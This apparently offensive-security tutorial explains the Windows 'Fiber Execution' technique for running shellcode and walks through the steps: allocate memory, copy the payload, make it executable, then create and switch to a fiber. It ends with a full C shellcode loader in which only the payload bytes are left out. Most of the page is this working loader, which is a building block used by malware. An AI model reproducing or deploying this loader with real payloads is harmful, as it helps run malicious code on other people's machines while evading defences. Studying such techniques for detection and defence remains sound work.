Fiber Execution¶
A fiber is essentially a user-mode execution unit. Multiple fibers can exist inside a single thread, and the application explicitly decides when execution switches between them.
Conceptually:
Normal Thread
│
▼
ConvertThreadToFiber()
│
▼
Main Fiber
│
├── CreateFiber(...)
│ │
│ ▼
│ Secondary Fiber
│ [code/function]
│
▼
SwitchToFiber()
│
└──────────────► Fiber executes
The main Windows APIs involved are:
ConvertThreadToFiber()- Converts the current thread into a fiber.CreateFiber()- Creates a new fiber and specifies its starting function.SwitchToFiber()- Transfers execution to another fiber.
An important distinction is that Fiber Execution is not necessarily a process-injection technique. It does not inherently place code inside another process. Rather, it is primarily an execution or control-transfer mechanism.
The flow of the injection is the following:
-
Create an allocation for the payload with VirtualAlloc or other modern technique
-
Copy the payload to the new memory allocation:
-
Make it executable:
-
Convert the current thread into a fiber:
-
Create a new fiber and specify the new memory allocation:
-
Transfer the execution flow to the new fiber:
Full code:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
unsigned char payload[] = {...};
int main(int argc, char ** argv) {
int payload_len = sizeof(payload);
LPVOID mainFiber = ConvertThreadToFiber(NULL);
if (mainFiber == NULL){
printf("[-] ConvertThreadToFiber failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Main fiber -> 0x%p\n", mainFiber);
LPVOID pexec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("[+] VirtualAlloc RW-> 0x%p\n", pexec);
RtlMoveMemory(pexec, payload, payload_len);
printf("[+] payload copied to VirtualAlloc -> 0x%p\n", pexec);
DWORD oldProtect;
VirtualProtect(pexec, payload_len, PAGE_EXECUTE_READ, &oldProtect);
printf("[+] VirtualProtect RX-> 0x%p\n", pexec);
printf("[+] Creating secondary fiber...\n");
LPVOID newFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)pexec, NULL);
if (newFiber == NULL) {
printf("[-] CreateFiber failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Secondary fiber: %p\n", newFiber);
getchar();
SwitchToFiber(newFiber);
getchar();
return 0;
}